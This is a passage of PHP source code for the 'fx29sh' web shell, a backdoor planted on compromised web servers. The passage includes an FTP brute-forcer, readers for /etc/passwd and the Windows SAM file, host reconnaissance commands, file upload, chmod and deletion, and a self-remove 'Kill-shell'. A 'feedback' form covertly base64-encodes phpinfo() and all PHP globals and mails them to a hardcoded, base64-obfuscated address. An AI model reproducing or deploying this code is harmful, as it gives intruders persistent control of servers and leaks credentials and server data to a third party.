nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\
|
||
r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per
|
||
second: ".round($i/$ftpquick_t,2)."\r\n";
|
||
|
||
if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite
|
||
($fqb_logfp,$fqb_log,strlen($fqb_log));}
|
||
|
||
if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name."
|
||
report",$fqb_log);}
|
||
|
||
fclose($fqb_logfp);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
$logfile = $tmpdir_logs."fx29sh_ftpquickbrute_".date
|
||
("d.m.Y_H_i_s").".log";
|
||
|
||
$logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
|
||
|
||
echo "<form action=\"".$surl."\"><input type=hidden name=act value=\
|
||
"ftpquickbrute\">".
|
||
|
||
"Read first:</td><td><input type=text name=\"fqb_lenght\" value=
|
||
\"".$nixpwdperpage."\"></td></tr>".
|
||
|
||
"<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh
|
||
\" value=\"1\"> Users only with shell</td></tr>".
|
||
|
||
"<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\"
|
||
value=\"1\" checked>Logging</td></tr>".
|
||
|
||
"<tr><td>Logging to file:</td><td><input type=\"text\" name=\
|
||
"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen
|
||
($logfile)/10))."\"></td></tr>".
|
||
|
||
"<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\
|
||
"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*
|
||
(strlen($logemail)/10))."\"></td></tr>".
|
||
|
||
"<tr><td colspan=2><input type=submit name=submit value=\"Brute\
|
||
"></form>";
|
||
|
||
}
|
||
|
||
echo "</td></tr></table></center>";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($act == "d") {
|
||
|
||
if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></
|
||
center>"; }
|
||
|
||
else {
|
||
|
||
echo "<b>Directory information:</b><table border=0 cellspacing=1
|
||
cellpadding=2>";
|
||
|
||
if (!$win) {
|
||
|
||
echo "<tr><td><b>Owner/Group</b></td><td> ";
|
||
|
||
$ow = posix_getpwuid(fileowner($d));
|
||
|
||
$gr = posix_getgrgid(filegroup($d));
|
||
|
||
$row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?
|
||
$gr["name"]:filegroup($d));
|
||
|
||
}
|
||
|
||
echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=
|
||
".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create
|
||
time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td>
|
||
<b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr>
|
||
<tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</
|
||
td></tr></table>";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($act == "phpinfo") {@ob_clean(); phpinfo(); fx29shexit();}
|
||
|
||
if ($act == "security") {
|
||
|
||
echo "<div class=barheader>.: Server Security Information :.</div>\n".
|
||
|
||
"<table>\n".
|
||
|
||
"<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>\n";
|
||
|
||
echo "<td>Password File</td><td>";
|
||
|
||
if (!$win) {
|
||
|
||
if ($nixpasswd) {
|
||
|
||
if ($nixpasswd == 1) {$nixpasswd = 0;}
|
||
|
||
echo "*nix /etc/passwd:<br>";
|
||
|
||
if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
|
||
|
||
if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
|
||
|
||
echo "<form action=\"".$surl."\"><input type=hidden name=act value=
|
||
\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>
|
||
<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&
|
||
nbsp;<b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\
|
||
"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>";
|
||
|
||
$i = $nixpwd_s;
|
||
|
||
while ($i < $nixpwd_e) {
|
||
|
||
$uid = posix_getpwuid($i);
|
||
|
||
if ($uid) {
|
||
|
||
$uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid
|
||
["dir"])."\">".$uid["dir"]."</a>";
|
||
|
||
echo join(":",$uid)."<br>";
|
||
|
||
}
|
||
|
||
$i++;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\">
|
||
<b>Download /etc/passwd</b></a>";}
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
$v = $_SERVER["WINDIR"]."\repair\sam";
|
||
|
||
if (!file_get_contents($v)) { echo "<a href=\"".$surl."act=f&f=sam&d=
|
||
".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b>
|
||
</a>"; }
|
||
|
||
}
|
||
|
||
echo "</td></tr>\n";
|
||
|
||
echo "<tr><td>Config Files</td><td>\n";
|
||
|
||
if (!$win) {
|
||
|
||
$v = array(
|
||
|
||
array("User Domains","/etc/userdomains"),
|
||
|
||
array("Cpanel Config","/var/cpanel/accounting.log"),
|
||
|
||
array("Apache Config","/usr/local/apache/conf/httpd.conf"),
|
||
|
||
array("Apache Config","/etc/httpd.conf"),
|
||
|
||
array("Syslog Config","/etc/syslog.conf"),
|
||
|
||
array("Message of The Day","/etc/motd"),
|
||
|
||
array("Hosts","/etc/hosts")
|
||
|
||
);
|
||
|
||
$sep = "/";
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
$windir = $_SERVER["WINDIR"];
|
||
|
||
$etcdir = $windir . "\system32\drivers\etc\\";
|
||
|
||
$v = array(
|
||
|
||
array("Hosts",$etcdir."hosts"),
|
||
|
||
array("Local Network Map",$etcdir."networks"),
|
||
|
||
array("LM Hosts",$etcdir."lmhosts.sam"),
|
||
|
||
);
|
||
|
||
$sep = "\\";
|
||
|
||
}
|
||
|
||
foreach ($v as $sec_arr) {
|
||
|
||
$sec_f = substr(strrchr($sec_arr[1], $sep), 1);
|
||
|
||
$sec_d = rtrim($sec_arr[1],$sec_f);
|
||
|
||
$sec_full = $sec_d.$sec_f;
|
||
|
||
$sec_d = rtrim($sec_d,$sep);
|
||
|
||
if (file_get_contents($sec_full)) {
|
||
|
||
echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&
|
||
ft=txt\"><b>".$sec_arr[0]."</b></a> ] \n";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
echo "</td></tr>";
|
||
|
||
|
||
|
||
function displaysecinfo($name,$value) {
|
||
|
||
if (!empty($value)) {
|
||
|
||
echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre>
|
||
</td></tr>\n";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!$win) {
|
||
|
||
displaysecinfo("OS Version",fx29exec("cat /proc/version"));
|
||
|
||
displaysecinfo("Kernel Version",fx29exec("sysctl -a | grep
|
||
version"));
|
||
|
||
displaysecinfo("Distrib Name",fx29exec("cat /etc/issue.net"));
|
||
|
||
displaysecinfo("Distrib Name (2)",fx29exec("cat /etc/*-realise"));
|
||
|
||
displaysecinfo("CPU Info",fx29exec("cat /proc/cpuinfo"));
|
||
|
||
displaysecinfo("RAM",fx29exec("free -m"));
|
||
|
||
displaysecinfo("HDD Space",fx29exec("df -h"));
|
||
|
||
displaysecinfo("List of Attributes",fx29exec("lsattr -a"));
|
||
|
||
displaysecinfo("Mount Options",fx29exec("cat /etc/fstab"));
|
||
|
||
displaysecinfo("cURL installed?",fx29exec("which curl"));
|
||
|
||
displaysecinfo("lynx installed?",fx29exec("which lynx"));
|
||
|
||
displaysecinfo("links installed?",fx29exec("which links"));
|
||
|
||
displaysecinfo("fetch installed?",fx29exec("which fetch"));
|
||
|
||
displaysecinfo("GET installed?",fx29exec("which GET"));
|
||
|
||
displaysecinfo("perl installed?",fx29exec("which perl"));
|
||
|
||
displaysecinfo("Where is Apache?",fx29exec("whereis apache"));
|
||
|
||
displaysecinfo("Where is perl?",fx29exec("whereis perl"));
|
||
|
||
displaysecinfo("Locate proftpd.conf",fx29exec("locate
|
||
proftpd.conf"));
|
||
|
||
displaysecinfo("Locate httpd.conf",fx29exec("locate httpd.conf"));
|
||
|
||
displaysecinfo("Locate my.conf",fx29exec("locate my.conf"));
|
||
|
||
displaysecinfo("Locate psybnc.conf",fx29exec("locate psybnc.conf"));
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
displaysecinfo("OS Version",fx29exec("ver"));
|
||
|
||
displaysecinfo("Account Settings",fx29exec("net accounts"));
|
||
|
||
displaysecinfo("User Accounts",fx29exec("net user"));
|
||
|
||
}
|
||
|
||
echo "</table>\n";
|
||
|
||
}
|
||
|
||
if ($act == "mkfile") {
|
||
|
||
if ($mkfile != $d) {
|
||
|
||
if (file_exists($mkfile)) { echo "<b>Make File \"".htmlspecialchars
|
||
($mkfile)."\"</b>: file already exists!"; }
|
||
|
||
elseif (!fopen($mkfile,"w")) { echo "<b>Make File \
|
||
"".htmlspecialchars($mkfile)."\"</b>: access denied!"; }
|
||
|
||
else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) !=
|
||
DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
|
||
|
||
}
|
||
|
||
else { $act = $dspact = "ls"; }
|
||
|
||
}
|
||
|
||
if ($act == "encoder") {
|
||
|
||
echo "<script language=\"javascript\">function set_encoder_input(text)
|
||
{document.forms.encoder.input.value = text;}</script>".
|
||
|
||
"<form name=\"encoder\" action=\"".$surl."\" method=POST>".
|
||
|
||
"<input type=hidden name=act value=encoder>".
|
||
|
||
"<center><table class=contents>".
|
||
|
||
"<tr><td colspan=4 class=barheader>.: Encoder :.</td>".
|
||
|
||
"<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\"
|
||
id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</
|
||
textarea><br>".
|
||
|
||
"<input type=submit value=\"calculate\"></td></tr>".
|
||
|
||
"<tr><td rowspan=4>Hashes:</td>";
|
||
|
||
foreach(array("md5","crypt","sha1","crc32") as $v) {
|
||
|
||
echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\
|
||
"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\"
|
||
value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
|
||
|
||
}
|
||
|
||
echo "</tr>".
|
||
|
||
"<tr><td rowspan=2>Url:</td>".
|
||
|
||
"<td>urlencode:</td><td><input type=text size=35 onFocus=\
|
||
"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\"
|
||
value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
|
||
|
||
"<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\
|
||
"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\"
|
||
value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></
|
||
tr>".
|
||
|
||
"<tr><td rowspan=2>Base64:</td>".
|
||
|
||
"<td>base64_encode:</td><td><input type=text size=35 onFocus=\
|
||
"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\"
|
||
value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
|
||
|
||
"<tr><td>base64_decode:</td><td>";
|
||
|
||
if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo
|
||
"<input type=text size=35 value=\"Failed!\" disabled readonly>";}
|
||
|
||
else {
|
||
|
||
$debase64 = base64_decode($encoder_input);
|
||
|
||
$debase64 = str_replace("\0","[0]",$debase64);
|
||
|
||
$a = explode("\r\n",$debase64);
|
||
|
||
$rows = count($a);
|
||
|
||
$debase64 = htmlspecialchars($debase64);
|
||
|
||
if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select
|
||
()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\
|
||
"".$debase64."\" id=\"debase64\" readonly>"; }
|
||
|
||
else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=
|
||
\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\
|
||
" id=\"debase64\" readonly>".$debase64."</textarea>"; }
|
||
|
||
echo " <a href=\"#\" onclick=\"set_encoder_input
|
||
(document.forms.encoder.debase64.value)\">[Send to input]</a>";
|
||
|
||
}
|
||
|
||
echo "</td></tr>".
|
||
|
||
"<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=
|
||
text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\"
|
||
onMouseout=\"this.select()\" value=\"";
|
||
|
||
$c = strlen($encoder_input);
|
||
|
||
for($i=0;$i<$c;$i++) {
|
||
|
||
$hex = dechex(ord($encoder_input[$i]));
|
||
|
||
if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
|
||
|
||
elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
|
||
|
||
}
|
||
|
||
echo "\" readonly></td></tr></table></center></form>";
|
||
|
||
}
|
||
|
||
if ($act == "fsbuff") {
|
||
|
||
$arr_copy = $sess_data["copy"];
|
||
|
||
$arr_cut = $sess_data["cut"];
|
||
|
||
$arr = array_merge($arr_copy,$arr_cut);
|
||
|
||
if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>
|
||
";}
|
||
|
||
else {
|
||
|
||
$fx_infohead = "File-System Buffer";
|
||
|
||
$ls_arr = $arr;
|
||
|
||
$disp_fullpath = TRUE;
|
||
|
||
$act = "ls";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($act == "selfremove") {
|
||
|
||
if (($submit == $rndcode) and ($submit != "")) {
|
||
|
||
if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using
|
||
".$sh_name."!"; fx29shexit(); }
|
||
|
||
else { echo "<center><b>Can't delete ".__FILE__."!</b></center>"; }
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}
|
||
|
||
$rnd = rand(0,9).rand(0,9).rand(0,9);
|
||
|
||
echo "<form action=\"".$surl."\">\n".
|
||
|
||
"<input type=hidden name=act value=selfremove>".
|
||
|
||
"<input type=hidden name=rndcode value=\"".$rnd."\">".
|
||
|
||
"<b>Kill-shell: ".__FILE__." <br>".
|
||
|
||
"<b>Are you sure? For confirmation, enter \"".$rnd."\"</b>:&
|
||
nbsp;<input type=text name=submit> <input type=submit value=\"YES\">\
|
||
n".
|
||
|
||
"</form>\n";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($act == "update") {
|
||
|
||
$ret = fx29sh_getupdate(!!$confirmupdate);
|
||
|
||
echo "<b>".$ret."</b>";
|
||
|
||
if (stristr($ret,"new version")) {
|
||
|
||
echo "<br><br><input type=button onclick=\"location.href=
|
||
'".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($act == "feedback") {
|
||
|
||
$suppmail = base64_decode("aGFyYXp1a3VAeW1haWwuY29t");
|
||
|
||
if (!empty($submit)){
|
||
|
||
$ticket = substr(md5(microtime()+rand(1,1000)),0,6);
|
||
|
||
$body = $sh_name." feedback #".$ticket."\nName: ".htmlspecialchars
|
||
($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\
|
||
n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
|
||
|
||
if (!empty($fdbk_ref)) {
|
||
|
||
$tmp = @ob_get_contents();
|
||
|
||
ob_clean();
|
||
|
||
phpinfo();
|
||
|
||
$phpinfo = base64_encode(ob_get_contents());
|
||
|
||
ob_clean();
|
||
|
||
echo $tmp;
|
||
|
||
$body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=
|
||
".base64_encode(serialize($GLOBALS))."\n";
|
||
|
||
}
|
||
|
||
mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM:
|
||
".$suppmail);
|
||
|
||
echo "<center><b>Thanks for your feedback! Your ticket ID:
|
||
".$ticket.".</b></center>";
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
echo "<form action=\"".$surl."\" method=POST>".
|
||
|
||
"<input type=hidden name=act value=feedback>".
|
||
|
||
"<table class=contents><tr><td class=barheader colspan=2>".
|
||
|
||
".: Feedback or report bug (".str_replace(array("@","."),array("
|
||
[at]","[dot]"),$suppmail).") :.</td></tr>".
|
||
|
||
"<tr><td>Your name:</td><td><input type=\"text\" name=\
|
||
"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"></td</tr>".
|
||
|
||
"<tr><td>Your e-mail:</td><td><input type=\"text\" name=\
|
||
"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"></td></tr>".
|
||
|
||
"<tr><td>Message:</td><td><textarea name=\"fdbk_body\" cols=80
|
||
rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\"
|
||
name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br>".
|
||
|
||
"<input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\"
|
||
checked> Attach Server info (Recommended for bug-fix)<br>".
|
||
|
||
"*Language: English, Indonesian.</td></tr>".
|
||
|
||
"<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\
|
||
"Send\"></form></td></tr>".
|
||
|
||
"</table>\n";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($act == "fxmailer") {
|
||
|
||
if (!empty($submit)){
|
||
|
||
$headers = 'To: '.$dest_email."\r\n";
|
||
|
||
$headers .= 'From: '.$sender_name.' '.$sender_email."\r\n";
|
||
|
||
if (mail($suppmail,$sender_subj,$sender_body,$header)) {
|
||
|
||
echo "<center><b>Email sent!</b></center>";
|
||
|
||
}
|
||
|
||
else { echo "<center><b>Can't send email!</b></center>"; }
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
echo "<form action=\"".$surl."\" method=POST>".
|
||
|
||
"<input type=hidden name=act value=fxmailer>".
|
||
|
||
"<table class=contents><tr><td class=barheader colspan=2>".
|
||
|
||
".: $sh_name Mailer :.</td></tr>".
|
||
|
||
"<tr><td>Your name:</td><td><input type=\"text\" name=\
|
||
"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>".
|
||
|
||
"<tr><td>Your e-mail:</td><td><input type=\"text\" name=\
|
||
"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>".
|
||
|
||
"<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\"
|
||
value=\"".htmlspecialchars($dest_email)."\"></td></tr>".
|
||
|
||
"<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\
|
||
"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>".
|
||
|
||
"<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80
|
||
rows=10>".htmlspecialchars($sender_body)."</textarea><br>".
|
||
|
||
"<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\
|
||
"Send\"></form></td></tr>".
|
||
|
||
"</table>\n";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($act == "search") {
|
||
|
||
echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
|
||
|
||
if (empty($search_in)) {$search_in = $d;}
|
||
|
||
if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp =
|
||
1;}
|
||
|
||
if (empty($search_text_wwo)) {$search_text_regexp = 0;}
|
||
|
||
if (!empty($submit)) {
|
||
|
||
$found = array();
|
||
|
||
$found_d = 0;
|
||
|
||
$found_f = 0;
|
||
|
||
$search_i_f = 0;
|
||
|
||
$search_i_d = 0;
|
||
|
||
$a = array(
|
||
|
||
"name"=>$search_name,
|
||
|
||
"name_regexp"=>$search_name_regexp,
|
||
|
||
"text"=>$search_text,
|
||
|
||
"text_regexp"=>$search_text_regxp,
|
||
|
||
"text_wwo"=>$search_text_wwo,
|
||
|
||
"text_cs"=>$search_text_cs,
|
||
|
||
"text_not"=>$search_text_not
|
||
|
||
);
|
||
|
||
$searchtime = getmicrotime();
|
||
|
||
$in = array_unique(explode(";",$search_in));
|
||
|
||
foreach($in as $v) {fx29fsearch($v);}
|
||
|
||
$searchtime = round(getmicrotime()-$searchtime,4);
|
||
|
||
if (count($found) == 0) {echo "No files found!";}
|
||
|
||
else {
|
||
|
||
$ls_arr = $found;
|
||
|
||
$disp_fullpath = TRUE;
|
||
|
||
$act = "ls";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
echo "<table class=contents>".
|
||
|
||
"<tr><td><form method=POST>".
|
||
|
||
"<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=
|
||
hidden name=act value=\"".$dspact."\">".
|
||
|
||
"File or folder Name:</td><td><input type=\"text\" name=\
|
||
"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\
|
||
"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\
|
||
"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?"
|
||
checked":"")."> - Regular Expression</td></tr>".
|
||
|
||
"<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\"
|
||
name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\
|
||
"".htmlspecialchars($search_in)."\"></td></tr>".
|
||
|
||
"<tr><td>A word or phrase in the file:</td><td><textarea name=\
|
||
"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</
|
||
textarea></td></tr>".
|
||
|
||
"<tr><td></td><td><input type=\"checkbox\" name=\
|
||
"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?"
|
||
checked":"")."> Regular Expression".
|
||
|
||
" <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\"
|
||
".($search_text_wwo == 1?" checked":"")."> Whole words only".
|
||
|
||
" <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".
|
||
($search_text_cs == 1?" checked":"")."> Case sensitive".
|
||
|
||
" <input type=\"checkbox\" name=\"search_text_not\" value=\"1\"
|
||
".($search_text_not == 1?" checked":"")."> Find files NOT containing the
|
||
text</td></tr>".
|
||
|
||
"<tr><td></td><td><input type=submit name=submit value=\"Search\">
|
||
</form></td></tr>".
|
||
|
||
"</table>\n";
|
||
|
||
if ($act == "ls") {
|
||
|
||
$dspact = $act;
|
||
|
||
echo "Search took ".$searchtime." secs (".$search_i_f." files and
|
||
".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)."
|
||
objects per second).</b>".
|
||
|
||
"<hr size=\"1\" noshade>";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($act == "chmod") {
|
||
|
||
$mode = fileperms($d.$f);
|
||
|
||
if (!$mode) {echo "<b>Change file-mode with error:</b> can't get
|
||
current value.";}
|
||
|
||
else {
|
||
|
||
$form = TRUE;
|
||
|
||
if ($chmod_submit) {
|
||
|
||
$octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).
|
||
($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?
|
||
1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
|
||
|
||
if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; }
|
||
|
||
else {$err = "Can't chmod to ".$octet.".";}
|
||
|
||
}
|
||
|
||
if ($form) {
|
||
|
||
$perms = parse_perms($mode);
|
||
|
||
echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color
|
||
($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>
|
||
Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=
|
||
hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f
|
||
value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod>
|
||
<table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td>
|
||
<b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms
|
||
["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o
|
||
[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=
|
||
checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">
|
||
eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r]
|
||
value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=
|
||
checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">
|
||
Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?"
|
||
checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=
|
||
checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">
|
||
Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?"
|
||
checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=
|
||
1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td>
|
||
<input type=submit name=chmod_submit value=\"Save\"></td></tr></table></
|
||
form>";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($act == "upload") {
|
||
|
||
$uploadmess = "";
|
||
|
||
$uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
|
||
|
||
if (empty($uploadpath)) {$uploadpath = $d;}
|
||
|
||
elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .=
|
||
DIRECTORY_SEPARATOR;}
|
||
|
||
if (!empty($submit)) {
|
||
|
||
global $_FILES;
|
||
|
||
$uploadfile = $_FILES["uploadfile"];
|
||
|
||
if (!empty($uploadfile["tmp_name"])) {
|
||
|
||
if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
|
||
|
||
else {$destin = $userfilename;}
|
||
|
||
if (!move_uploaded_file($uploadfile
|
||
["tmp_name"],$uploadpath.$destin)) {
|
||
|
||
$uploadmess .= "Error uploading file ".$uploadfile["name"]."
|
||
(can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!
|
||
<br>";
|
||
|
||
}
|
||
|
||
else { $uploadmess .= "File uploaded successfully!<br>
|
||
".$uploadpath.$destin; }
|
||
|
||
}
|
||
|
||
else { echo "No file to upload!"; }
|
||
|
||
}
|
||
|
||
if ($miniform) {
|
||
|
||
echo "<b>".$uploadmess."</b>";
|
||
|
||
$act = "ls";
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
echo "<table><tr><td colspan=2 class=barheader>".
|
||
|
||
".: File Upload :.</td>".
|
||
|
||
"<td colspan=2>".$uploadmess."</td></tr>".
|
||
|
||
"<tr><td><form enctype=\"multipart/form-data\" action=\
|
||
"".$surl."act=upload&d=".urlencode($d)."\" method=POST>".
|
||
|
||
"From Your Computer:</td><td><input name=\"uploadfile\" type=\
|
||
"file\"></td></tr>".
|
||
|
||
"<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text
|
||
\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
|
||
|
||
"<tr><td>Target Directory:</td><td><input name=\"uploadpath\"
|
||
size=\"70\" value=\"".$dispd."\"></td></tr>".
|
||
|
||
"<tr><td>Target File Name:</td><td><input name=uploadfilename
|
||
size=25></td></tr>".
|
||
|
||
"<tr><td></td><td><input type=checkbox name=uploadautoname value
|
||
=1 id=df4> Convert file name to lowercase</td></tr>".
|
||
|
||
"<tr><td></td><td><input type=submit name=submit value=\"Upload\
|
||
">".
|
||
|
||
"</form></td></tr></table>";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($act == "delete") {
|
||
|
||
$delerr = "";
|
||
|
||
foreach ($actbox as $v) {
|
||
|
||
$result = FALSE;
|
||
|
||
$result = fs_rmobj($v);
|
||
|
||
if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."<br>
|
||
"; }
|
||
|
||
}
|
||
|
||
if (!empty($delerr)) { echo "<b>Error deleting:</b><br>".$delerr; }
|
||
|
||
$act = "ls";
|
||
|
||
}
|
||
|
||
if (!$usefsbuff) {
|
||
|
||
if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act =
|
||
= "unselect")) {
|
||
|
||
echo "<center><b>Sorry, buffer is disabled. For enable, set directive
|
||
\"\$usefsbuff\" as TRUE.</center>";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge
|
||
($sess_data["copy"],$actbox); fx29_sess_put($sess_data); $act = "ls"; }
|
||
|
||
elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data
|
||
["cut"],$actbox); fx29_sess_put($sess_data); $act = "ls";}
|
||
|
||
elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if
|
||
(in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach
|
||
($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data
|
||
["cut"][$k]);}} fx29_sess_put($sess_data); $act = "ls";}
|
||
|
||
if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array();
|
||
fx29_sess_put($sess_data);}
|
||
|
||
elseif ($actpastebuff) {
|
||
|
||
$psterr = "";
|
||
|
||
foreach($sess_data["copy"] as $k=>$v) {
|
||
|
||
$to = $d.basename($v);
|
||
|
||
